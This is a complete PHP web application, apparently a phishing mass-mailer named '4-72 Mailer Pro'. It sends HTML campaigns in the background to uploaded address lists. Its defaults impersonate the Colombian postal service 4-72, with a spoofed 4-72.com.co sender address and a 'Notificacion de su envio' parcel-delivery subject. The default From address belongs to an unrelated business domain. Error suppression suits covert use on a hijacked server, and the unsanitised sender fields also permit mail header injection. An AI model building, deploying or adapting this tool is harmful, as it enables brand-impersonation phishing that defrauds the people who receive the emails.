<?php
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(300);
ignore_user_abort(true);
session_start();
// Dossier de stockage des sessions
$sessions_dir = sys_get_temp_dir() . '/mailer_sessions';
if (!is_dir($sessions_dir)) {
mkdir($sessions_dir, 0777, true);
}
// Fonction pour envoyer un email via mail()
function send_email($to, $subject, $text, $html, $sender_name, $sender_email) {
$boundary = md5(uniqid(time()));
$headers = "";
$headers .= "From: $sender_name <$sender_email>\r\n";
$headers .= "Reply-To: $sender_email\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: multipart/alternative; boundary=\"$boundary\"\r\n";
$body = "--$boundary\r\n";
$body .= "Content-Type: text/plain; charset=UTF-8\r\n\r\n";
$body .= ($text ?: strip_tags($html)) . "\r\n\r\n";
$body .= "--$boundary\r\n";
$body .= "Content-Type: text/html; charset=UTF-8\r\n\r\n";
$body .= $html . "\r\n\r\n";
$body .= "--$boundary--";
return @mail($to, $subject, $body, $headers, "-f$sender_email");
}
// Lancer le worker via HTTP fire-and-forget (fsockopen)
function fire_worker($campaign_id) {
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'];
$dir = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
$path = "$dir/mailer_worker.php?campaign_id=" . urlencode($campaign_id);
$port = ($scheme === 'https') ? 443 : 80;
$prefix = ($scheme === 'https') ? 'ssl://' : '';
$fp = @fsockopen($prefix . $host, $port, $errno, $errstr, 2);
if ($fp) {
$req = "GET $path HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "Connection: close\r\n\r\n";
fwrite($fp, $req);
// Ne pas attendre la réponse - fire and forget
fclose($fp);
return true;
}
return false;
}
// Vérifier si le worker background est actif (lock file récent)
function is_worker_active($campaign_id, $sessions_dir) {
$lock_file = "$sessions_dir/$campaign_id.lock";
if (file_exists($lock_file)) {
$lock_data = @json_decode(file_get_contents($lock_file), true);
if ($lock_data && (time() - $lock_data['time']) < 15) {
return true;
}
}
return false;
}
// Traitement des requêtes AJAX
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header('Content-Type: application/json');
$action = $_POST['action'] ?? '';
if ($action === 'init_campaign') {
$campaign_id = uniqid('campaign_');
$sender_name = $_POST['sender_name'] ?? '4-72';
$sender_email = $_POST['sender_email'] ?? 'noreply@4-72.com.co';
$subject = $_POST['subject'] ?? 'Notification';
$html_template = $_POST['html_template'] ?? '';
$text_template = $_POST['text_template'] ?? '';
$emails_list = $_POST['emails_list'] ?? '';
$emails = array_values(array_filter(array_map('trim', explode("\n", $emails_list))));
if (count($emails) === 0) {
echo json_encode(['status' => 'error', 'message' => 'Aucun email fourni']);
exit;
}
$campaign_data = [
'id' => $campaign_id,
'sender_name' => $sender_name,
'sender_email' => $sender_email,
'subject' => $subject,
'html_template' => $html_template,
'text_template' => $text_template,
'emails' => $emails,
'total' => count($emails),
'sent' => 0,
'errors' => 0,
'current_index' => 0,
'status' => 'running',
'started_at' => time(),
'last_update' => time()
];
file_put_contents("$sessions_dir/$campaign_id.json", json_encode($campaign_data));
// Tenter de lancer le worker en arrière-plan
$worker_launched = fire_worker($campaign_id);
echo json_encode([
'status' => 'success',
'campaign_id' => $campaign_id,
'total_emails' => count($emails),
'worker' => $worker_launched ? 'launched' : 'fallback'
]);
exit;
}
if ($action === 'process_batch') {
$campaign_id = $_POST['campaign_id'] ?? '';
$campaign_file = "$sessions_dir/$campaign_id.json";
if (!file_exists($campaign_file)) {
echo json_encode(['status' => 'error', 'message' => 'Campaign not found']);
exit;
}
clearstatcache();
$campaign = json_decode(file_get_contents($campaign_file), true);
if (!$campaign || $campaign['status'] !== 'running') {
echo json_encode([
'status' => 'success',
'sent' => $campaign['sent'] ?? 0,
'errors' => $campaign['errors'] ?? 0,
'total' => $campaign['total'] ?? 0,
'progress' => $campaign['total'] > 0 ? round(($campaign['current_index'] / $campaign['total']) * 100, 1) : 0,
'campaign_status' => $campaign['status'] ?? 'stopped'
]);
exit;
}
if ($campaign['current_index'] >= $campaign['total']) {
$campaign['status'] = 'completed';
file_put_contents($campaign_file, json_encode($campaign));
echo json_encode([
'status' => 'success',
'sent' => $campaign['sent'],
'errors' => $campaign['errors'],
'total' => $campaign['total'],
'progress' => 100,
'campaign_status' => 'completed'
]);
exit;
}
// Si le worker tourne déjà, juste retourner le statut sans envoyer
if (is_worker_active($campaign_id, $sessions_dir)) {
echo json_encode([
'status' => 'success',
'sent' => $campaign['sent'],
'errors' => $campaign['errors'],
'total' => $campaign['total'],
'progress' => round(($campaign['current_index'] / $campaign['total']) * 100, 1),
'campaign_status' => $campaign['status'],
'worker_active' => true
]);
exit;
}
// Worker pas actif → le navigateur prend le relai et envoie un batch
$batch_size = 10;
$start_index = $campaign['current_index'];
$end_index = min($start_index + $batch_size, $campaign['total']);
for ($i = $start_index; $i < $end_index; $i++) {
$email = $campaign['emails'][$i];
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
if (send_email($email, $campaign['subject'], $campaign['text_template'], $campaign['html_template'], $campaign['sender_name'], $campaign['sender_email'])) {
$campaign['sent']++;
} else {
$campaign['errors']++;
}
} else {
$campaign['errors']++;
}
usleep(30000);
}
$campaign['current_index'] = $end_index;
$campaign['last_update'] = time();
if ($end_index >= $campaign['total']) {
$campaign['status'] = 'completed';
}
file_put_contents($campaign_file, json_encode($campaign));
echo json_encode([
'status' => 'success',
'sent' => $campaign['sent'],
'errors' => $campaign['errors'],
'total' => $campaign['total'],
'progress' => round(($end_index / $campaign['total']) * 100, 1),
'campaign_status' => $campaign['status'],
'worker_active' => false
]);
exit;
}
if ($action === 'get_status') {
$campaign_id = $_POST['campaign_id'] ?? '';
$campaign_file = "$sessions_dir/$campaign_id.json";
if (!file_exists($campaign_file)) {
echo json_encode(['status' => 'error', 'message' => 'Campaign not found']);
exit;
}
clearstatcache();
$campaign = json_decode(file_get_contents($campaign_file), true);
echo json_encode([
'status' => 'success',
'sent' => $campaign['sent'],
'errors' => $campaign['errors'],
'total' => $campaign['total'],
'progress' => round(($campaign['current_index'] / $campaign['total']) * 100, 1),
'campaign_status' => $campaign['status'],
'worker_active' => is_worker_active($campaign_id, $sessions_dir)
]);
exit;
}
if ($action === 'stop_campaign') {
$campaign_id = $_POST['campaign_id'] ?? '';
$campaign_file = "$sessions_dir/$campaign_id.json";
if (file_exists($campaign_file)) {
$campaign = json_decode(file_get_contents($campaign_file), true);
$campaign['status'] = 'stopped';
file_put_contents($campaign_file, json_encode($campaign));
}
echo json_encode(['status' => 'success']);
exit;
}
if ($action === 'list_campaigns') {
$campaigns = [];
if (is_dir($sessions_dir)) {
$files = glob("$sessions_dir/*.json");
foreach ($files as $file) {
$campaign = @json_decode(file_get_contents($file), true);
if ($campaign && ($campaign['status'] === 'running' || $campaign['status'] === 'stopped')) {
$campaigns[] = [
'id' => $campaign['id'],
'status' => $campaign['status'],
'sent' => $campaign['sent'],
'errors' => $campaign['errors'],
'total' => $campaign['total'],
'progress' => round(($campaign['current_index'] / $campaign['total']) * 100, 1),
'started_at' => $campaign['started_at'],
'worker_active' => is_worker_active($campaign['id'], $sessions_dir)
];
}
}
}
echo json_encode([
'status' => 'success',
'campaigns' => $campaigns
]);
exit;
}
if ($action === 'resume_campaign') {
$campaign_id = $_POST['campaign_id'] ?? '';
$campaign_file = "$sessions_dir/$campaign_id.json";
if (!file_exists($campaign_file)) {
echo json_encode(['status' => 'error', 'message' => 'Campaign not found']);
exit;
}
$campaign = json_decode(file_get_contents($campaign_file), true);
$campaign['status'] = 'running';
$campaign['last_update'] = time();
file_put_contents($campaign_file, json_encode($campaign));
// Tenter de relancer le worker
$worker_launched = fire_worker($campaign_id);
echo json_encode([
'status' => 'success',
'campaign_id' => $campaign_id,
'sent' => $campaign['sent'],
'errors' => $campaign['errors'],
'total' => $campaign['total'],
'progress' => round(($campaign['current_index'] / $campaign['total']) * 100, 1),
'worker' => $worker_launched ? 'launched' : 'fallback'
]);
exit;
}
if ($action === 'upload_file') {
if (!isset($_FILES['file'])) {
echo json_encode(['status' => 'error', 'message' => 'No file uploaded']);
exit;
}
$file = $_FILES['file'];
$content = file_get_contents($file['tmp_name']);
echo json_encode([
'status' => 'success',
'content' => $content,
'lines' => count(array_filter(explode("\n", $content)))
]);
exit;
}
}
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>4-72 Mailer Pro</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Segoe UI', Arial, sans-serif;
background: linear-gradient(135deg, #1a1f71 0%, #2d35a8 100%);
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
}
.header {
background: white;
padding: 30px;
border-radius: 12px;
margin-bottom: 20px;
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
}
.header h1 {
color: #1a1f71;
margin-bottom: 5px;
}
.header p {
color: #6b7280;
font-size: 14px;
}
.content {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 20px;
}
.panel {
background: white;
border-radius: 12px;
padding: 24px;
box-shadow: 0 4px 12px rgba(0,0,0,0.1);
}
.panel h2 {
color: #1a1f71;
font-size: 18px;
margin-bottom: 20px;
padding-bottom: 12px;
border-bottom: 2px solid #e5e7eb;
}
.form-group {
margin-bottom: 16px;
}
label {
display: block;
margin-bottom: 6px;
color: #374151;
font-weight: 600;
font-size: 13px;
}
input[type="text"],
input[type="email"],
textarea,
select {
width: 100%;
padding: 10px;
border: 1px solid #e5e7eb;
border-radius: 8px;
font-family: 'Segoe UI', Arial, sans-serif;
font-size: 13px;
transition: border-color 0.3s;
}
input[type="text"]:focus,
input[type="email"]:focus,
textarea:focus,
select:focus {
outline: none;
border-color: #1a1f71;
box-shadow: 0 0 0 3px rgba(26, 31, 113, 0.1);
}
textarea {
resize: vertical;
min-height: 120px;
font-family: 'Monaco', 'Courier New', monospace;
font-size: 12px;
}
.file-input-wrapper {
position: relative;
overflow: hidden;
display: inline-block;
width: 100%;
}
.file-input-wrapper input[type="file"] {
position: absolute;
left: -9999px;
}
.file-input-label {
display: block;
padding: 10px;
background: #f3f4f6;
border: 2px dashed #d1d5db;
border-radius: 8px;
text-align: center;
cursor: pointer;
transition: all 0.3s;
color: #6b7280;
font-weight: 500;
}
.file-input-label:hover {
background: #e5e7eb;
border-color: #1a1f71;
color: #1a1f71;
}
.file-input-label.loaded {
background: #d1fae5;
border-color: #6ee7b7;
color: #065f46;
}
.button-group {
display: flex;
gap: 10px;
margin-top: 24px;
}
button {
flex: 1;
padding: 12px;
border: none;
border-radius: 8px;
font-weight: 600;
font-size: 14px;
cursor: pointer;
transition: all 0.3s;
}
.btn-primary {
background: #1a1f71;
color: white;
}
.btn-primary:hover:not(:disabled) {
background: #0f1347;
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(26, 31, 113, 0.3);
}
.btn-danger {
background: #dc2626;
color: white;
}
.btn-danger:hover:not(:disabled) {
background: #b91c1c;
}
button:disabled {
background: #9ca3af;
cursor: not-allowed;
opacity: 0.6;
}
.status-panel {
background: #f8fafc;
border: 1px solid #e2e8f0;
border-radius: 8px;
padding: 20px;
margin-bottom: 20px;
}
.status-title {
color: #1f2937;
font-weight: 600;
margin-bottom: 12px;
}
.progress-bar {
width: 100%;
height: 24px;
background: #e5e7eb;
border-radius: 12px;
overflow: hidden;
margin-bottom: 12px;
}
.progress-fill {
height: 100%;
background: linear-gradient(90deg, #1a1f71, #2d35a8);
width: 0%;
transition: width 0.3s;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-size: 12px;
font-weight: 600;
}
.stats {
display: grid;
grid-template-columns: 1fr 1fr 1fr;
gap: 12px;
}
.stat {
background: white;
padding: 12px;
border-radius: 8px;
text-align: center;
border: 1px solid #e5e7eb;
}
.stat-value {
font-size: 20px;
font-weight: 700;
color: #1a1f71;
}
.stat-label {
font-size: 11px;
color: #6b7280;
margin-top: 4px;
}
.message {
padding: 12px;
border-radius: 8px;
margin-bottom: 12px;
display: none;
}
.message.success {
background: #d1fae5;
color: #065f46;
border: 1px solid #6ee7b7;
}
.message.error {
background: #fee2e2;
color: #991b1b;
border: 1px solid #fca5a5;
}
.message.info {
background: #dbeafe;
color: #0c4a6e;
border: 1px solid #7dd3fc;
}
.message.show {
display: block;
}
.campaigns-list {
background: #f8fafc;
border: 1px solid #e2e8f0;
border-radius: 8px;
padding: 16px;
margin-bottom: 20px;
}
.campaign-item {
background: white;
padding: 12px;
border-radius: 6px;
margin-bottom: 8px;
border-left: 4px solid #1a1f71;
display: flex;
justify-content: space-between;
align-items: center;
}
.campaign-info {
flex: 1;
}
.campaign-id {
font-size: 12px;
color: #6b7280;
font-family: monospace;
}
.campaign-stats {
font-size: 13px;
color: #374151;
margin-top: 4px;
}
.campaign-status {
font-size: 11px;
font-weight: 600;
padding: 4px 8px;
border-radius: 4px;
margin-right: 8px;
}
.campaign-status.running {
background: #dcfce7;
color: #166534;
}
.campaign-status.stopped {
background: #fee2e2;
color: #991b1b;
}
.campaign-actions {
display: flex;
gap: 8px;
}
.btn-small {
padding: 6px 12px;
font-size: 12px;
border-radius: 6px;
border: none;
cursor: pointer;
font-weight: 600;
transition: all 0.3s;
}
.btn-small.resume {
background: #1a1f71;
color: white;
}
.btn-small.resume:hover {
background: #0f1347;
}
.btn-small.stop {
background: #dc2626;
color: white;
}
.btn-small.stop:hover {
background: #b91c1c;
}
.global-controls {
display: flex;
gap: 10px;
margin-bottom: 20px;
}
.global-controls button {
flex: 1;
padding: 12px;
border: none;
border-radius: 8px;
font-weight: 600;
font-size: 14px;
cursor: pointer;
transition: all 0.3s;
}
.global-controls .btn-stop-all {
background: #dc2626;
color: white;
}
.global-controls .btn-stop-all:hover {
background: #b91c1c;
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(220, 38, 38, 0.3);
}
@media (max-width: 768px) {
.content {
grid-template-columns: 1fr;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>4-72 Mailer Pro</h1>
<p>Envoi en masse avec contrôle total - Fonctionne en arrière-plan</p>
</div>
<!-- Campagnes en cours -->
<div id="activeCampaigns" style="display: none;">
<div class="global-controls">
<button class="btn-stop-all" onclick="stopAllCampaigns()">⏹ Arrêter toutes les campagnes</button>
</div>
<div class="campaigns-list">
<div style="margin-bottom: 12px; font-weight: 600; color: #1f2937;">Campagnes en cours</div>
<div id="campaignsList"></div>
</div>
</div>
<div class="content">
<!-- Panneau de configuration -->
<div class="panel">
<h2>Configuration</h2>
<div class="form-group">
<label>Nom de l'expéditeur</label>
<input type="text" id="senderName" value="4-72 Entregas" placeholder="Ex: 4-72 Entregas">
</div>
<div class="form-group">
<label>Email de l'expéditeur</label>
<input type="email" id="senderEmail" value="r.wolfe@murphybusinessboise.com" placeholder="Ex: sender@domain.com">
</div>
<div class="form-group">
<label>Sujet de l'email</label>
<input type="text" id="subject" value="Notificacion de su envio" placeholder="Ex: Notification">
</div>
<div class="form-group">
<label>Template HTML</label>
<textarea id="htmlTemplate" placeholder="Collez votre HTML ici..."></textarea>
<small style="color: #9ca3af; margin-top: 4px; display: block;">Ou chargez un fichier HTML</small>
</div>
<div class="form-group">
<div class="file-input-wrapper">
<input type="file" id="htmlFile" accept=".html,.htm">
<label for="htmlFile" class="file-input-label">📄 Charger HTML</label>
</div>
</div>
<div class="form-group">
<label>Template texte (alternatif)</label>
<textarea id="textTemplate" placeholder="Version texte de l'email..."></textarea>
</div>
</div>
<!-- Panneau d'envoi -->
<div class="panel">
<h2>Liste d'emails</h2>
<div id="message" class="message"></div>
<div class="form-group">
<label>Emails (un par ligne)</label>
<textarea id="emailsList" placeholder="email1@domain.com email2@domain.com email3@domain.com"></textarea>
<small style="color: #9ca3af; margin-top: 4px; display: block;" id="emailCount">0 emails</small>
</div>
<div class="form-group">
<div class="file-input-wrapper">
<input type="file" id="emailsFile" accept=".txt,.csv">
<label for="emailsFile" class="file-input-label">📋 Charger fichier emails</label>
</div>
</div>
<div class="button-group">
<button class="btn-primary" id="startBtn" onclick="startCampaign()">▶ Démarrer</button>
<button class="btn-danger" id="stopBtn" onclick="stopCampaign()" disabled>⏹ Arrêter</button>
</div>
<div class="status-panel" id="statusPanel" style="display: none;">
<div class="status-title">Progression</div>
<div class="progress-bar">
<div class="progress-fill" id="progressFill">0%</div>
</div>
<div class="stats">
<div class="stat">
<div class="stat-value" id="sentCount">0</div>
<div class="stat-label">Envoyés</div>
</div>
<div class="stat">
<div class="stat-value" id="errorCount">0</div>
<div class="stat-label">Erreurs</div>
</div>
<div class="stat">
<div class="stat-value" id="totalCount">0</div>
<div class="stat-label">Total</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script>
let campaignId = null;
let processingInterval = null;
let campaignStates = {};
// Charger les campagnes en cours au démarrage
window.addEventListener('load', function() {
loadActiveCampaigns();
setInterval(updateAllCampaignsStats, 3000);
});
function updateAllCampaignsStats() {
const formData = new FormData();
formData.append('action', 'list_campaigns');
fetch(window.location.href, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.campaigns && data.campaigns.length > 0) {
data.campaigns.forEach(c => {
updateCampaignStats(c.id, c.sent, c.errors, c.total, c.progress);
});
}
})
.catch(() => {});
}
function loadActiveCampaigns() {
const formData = new FormData();
formData.append('action', 'list_campaigns');
fetch(window.location.href, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.campaigns && data.campaigns.length > 0) {
const container = document.getElementById('campaignsList');
data.campaigns.forEach(campaign => {
const cid = campaign.id;
let item = document.getElementById('campaign-' + cid);
if (!item) {
item = document.createElement('div');
item.id = 'campaign-' + cid;
item.className = 'campaign-item';
container.appendChild(item);
}
campaignStates[cid] = campaign;
const statusClass = campaign.status === 'running' ? 'running' : 'stopped';
const statusText = campaign.status === 'running' ? '▶ En cours' : '⏹ Arrêtée';
const workerInfo = campaign.worker_active ? ' (worker actif)' : ' (navigateur)';
item.innerHTML = '<div class="campaign-info">' +
'<div class="campaign-id">' + cid + workerInfo + '</div>' +
'<div class="campaign-stats">' +
'<span id="sent-' + cid + '">' + campaign.sent + '</span>/' +
'<span id="total-' + cid + '">' + campaign.total + '</span> envoyés • ' +
'<span id="errors-' + cid + '">' + campaign.errors + '</span> erreurs • ' +
'<span id="progress-' + cid + '">' + campaign.progress + '</span>%' +
'</div></div>' +
'<span class="campaign-status ' + statusClass + '">' + statusText + '</span>' +
'<div class="campaign-actions">' +
(campaign.status === 'stopped' ? '<button class="btn-small resume" onclick="resumeCampaign(\'' + cid + '\')">Reprendre</button>' : '') +
'<button class="btn-small stop" onclick="stopCampaignById(\'' + cid + '\')">Arrêter</button>' +
'</div>';
});
document.getElementById('activeCampaigns').style.display = 'block';
// Auto-attacher le polling à la première campagne running
if (!campaignId) {
const running = data.campaigns.find(c => c.status === 'running');
if (running) {
campaignId = running.id;
document.getElementById('startBtn').disabled = true;
document.getElementById('stopBtn').disabled = false;
document.getElementById('statusPanel').style.display = 'block';
document.getElementById('sentCount').textContent = running.sent;
document.getElementById('errorCount').textContent = running.errors;
document.getElementById('totalCount').textContent = running.total;
document.getElementById('progressFill').style.width = running.progress + '%';
document.getElementById('progressFill').textContent = running.progress + '%';
processBatchPoll();
}
}
} else {
document.getElementById('activeCampaigns').style.display = 'none';
campaignStates = {};
}
})
.catch(e => console.error(e));
}
function updateCampaignStats(cid, sent, errors, total, progress) {
const sentEl = document.getElementById('sent-' + cid);
const errorsEl = document.getElementById('errors-' + cid);
const progressEl = document.getElementById('progress-' + cid);
if (sentEl) sentEl.textContent = sent;
if (errorsEl) errorsEl.textContent = errors;
if (progressEl) progressEl.textContent = progress;
campaignStates[cid] = { ...(campaignStates[cid] || {}), sent, errors, progress };
}
// Polling hybride : appelle process_batch qui envoie OU retourne juste le statut
function processBatchPoll() {
if (!campaignId) return;
const formData = new FormData();
formData.append('action', 'process_batch');
formData.append('campaign_id', campaignId);
fetch(window.location.href, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.status === 'success') {
document.getElementById('sentCount').textContent = data.sent;
document.getElementById('errorCount').textContent = data.errors;
document.getElementById('progressFill').style.width = data.progress + '%';
document.getElementById('progressFill').textContent = data.progress + '%';
updateCampaignStats(campaignId, data.sent, data.errors, data.total, data.progress);
if (data.campaign_status === 'completed') {
showMessage('Campaign terminée! ' + data.sent + ' emails envoyés.', 'success');
document.getElementById('startBtn').disabled = false;
document.getElementById('stopBtn').disabled = true;
loadActiveCampaigns();
} else if (data.campaign_status === 'running') {
// Si worker actif → poll lent (juste statut)
// Si pas de worker → poll rapide (on envoie via navigateur)
const delay = data.worker_active ? 2000 : 500;
processingInterval = setTimeout(processBatchPoll, delay);
} else {
// stopped
document.getElementById('startBtn').disabled = false;
document.getElementById('stopBtn').disabled = true;
loadActiveCampaigns();
}
} else if (data.status === 'error') {
showMessage('Erreur: ' + data.message, 'error');
}
})
.catch(e => {
processingInterval = setTimeout(processBatchPoll, 3000);
});
}
function resumeCampaign(cid) {
const formData = new FormData();
formData.append('action', 'resume_campaign');
formData.append('campaign_id', cid);
fetch(window.location.href, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.status === 'success') {
campaignId = data.campaign_id;
document.getElementById('startBtn').disabled = true;
document.getElementById('stopBtn').disabled = false;
document.getElementById('statusPanel').style.display = 'block';
document.getElementById('sentCount').textContent = data.sent;
document.getElementById('errorCount').textContent = data.errors;
document.getElementById('totalCount').textContent = data.total;
document.getElementById('progressFill').style.width = data.progress + '%';
document.getElementById('progressFill').textContent = data.progress + '%';
showMessage('Campaign reprise! ' + (data.worker === 'launched' ? 'Worker actif.' : 'Envoi via navigateur.'), 'success');
processBatchPoll();
loadActiveCampaigns();
}
})
.catch(e => showMessage('Erreur: ' + e.message, 'error'));
}
// Charger HTML depuis fichier
document.getElementById('htmlFile').addEventListener('change', function(e) {
const file = e.target.files[0];
if (file) {
const reader = new FileReader();
reader.onload = function(event) {
document.getElementById('htmlTemplate').value = event.target.result;
document.querySelector('label[for="htmlFile"]').classList.add('loaded');
document.querySelector('label[for="htmlFile"]').textContent = '✓ ' + file.name;
};
reader.readAsText(file);
}
});
// Charger emails depuis fichier
document.getElementById('emailsFile').addEventListener('change', function(e) {
const file = e.target.files[0];
if (file) {
const reader = new FileReader();
reader.onload = function(event) {
document.getElementById('emailsList').value = event.target.result;
updateEmailCount();
document.querySelector('label[for="emailsFile"]').classList.add('loaded');
document.querySelector('label[for="emailsFile"]').textContent = '✓ ' + file.name;
};
reader.readAsText(file);
}
});
// Compter les emails
document.getElementById('emailsList').addEventListener('input', updateEmailCount);
function updateEmailCount() {
const emails = document.getElementById('emailsList').value.split('\n').filter(e => e.trim());
document.getElementById('emailCount').textContent = emails.length + ' emails';
}
function showMessage(text, type) {
type = type || 'info';
const msg = document.getElementById('message');
msg.textContent = text;
msg.className = 'message ' + type + ' show';
setTimeout(function() { msg.classList.remove('show'); }, 5000);
}
function startCampaign() {
const senderName = document.getElementById('senderName').value.trim();
const senderEmail = document.getElementById('senderEmail').value.trim();
const subject = document.getElementById('subject').value.trim();
const htmlTemplate = document.getElementById('htmlTemplate').value.trim();
const textTemplate = document.getElementById('textTemplate').value.trim();
const emailsList = document.getElementById('emailsList').value.trim();
if (!senderName || !senderEmail || !subject || !htmlTemplate || !emailsList) {
showMessage('Veuillez remplir tous les champs obligatoires', 'error');
return;
}
document.getElementById('startBtn').disabled = true;
showMessage('Initialisation de la campagne...', 'info');
const formData = new FormData();
formData.append('action', 'init_campaign');
formData.append('sender_name', senderName);
formData.append('sender_email', senderEmail);
formData.append('subject', subject);
formData.append('html_template', htmlTemplate);
formData.append('text_template', textTemplate);
formData.append('emails_list', emailsList);
fetch(window.location.href, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.status === 'success') {
campaignId = data.campaign_id;
document.getElementById('stopBtn').disabled = false;
document.getElementById('statusPanel').style.display = 'block';
document.getElementById('totalCount').textContent = data.total_emails;
const workerMsg = data.worker === 'launched' ? 'Worker lancé en arrière-plan!' : 'Envoi via navigateur (gardez la page ouverte).';
showMessage('Campaign démarrée! ' + workerMsg, 'success');
processBatchPoll();
loadActiveCampaigns();
} else {
showMessage('Erreur: ' + (data.message || 'inconnue'), 'error');
document.getElementById('startBtn').disabled = false;
}
})
.catch(e => {
showMessage('Erreur: ' + e.message, 'error');
document.getElementById('startBtn').disabled = false;
});
}
function stopCampaign() {
if (!campaignId) return;
stopCampaignById(campaignId);
}
function stopCampaignById(cid) {
const formData = new FormData();
formData.append('action', 'stop_campaign');
formData.append('campaign_id', cid);
fetch(window.location.href, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (cid === campaignId) {
clearTimeout(processingInterval);
document.getElementById('startBtn').disabled = false;
document.getElementById('stopBtn').disabled = true;
}
showMessage('Campaign arrêtée', 'info');
loadActiveCampaigns();
})
.catch(e => showMessage('Erreur: ' + e.message, 'error'));
}
function stopAllCampaigns() {
if (!confirm('Arrêter TOUTES les campagnes en cours?')) return;
const formData = new FormData();
formData.append('action', 'list_campaigns');
fetch(window.location.href, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.campaigns && data.campaigns.length > 0) {
let stopped = 0;
const promises = data.campaigns.map(c => {
const fd = new FormData();
fd.append('action', 'stop_campaign');
fd.append('campaign_id', c.id);
return fetch(window.location.href, { method: 'POST', body: fd })
.then(r => r.json())
.then(res => { if (res.status === 'success') stopped++; });
});
Promise.all(promises).then(() => {
clearTimeout(processingInterval);
document.getElementById('startBtn').disabled = false;
document.getElementById('stopBtn').disabled = true;
showMessage(stopped + ' campagne(s) arrêtée(s)', 'success');
loadActiveCampaigns();
});
}
})
.catch(e => showMessage('Erreur: ' + e.message, 'error'));
}
</script>
</body>
</html>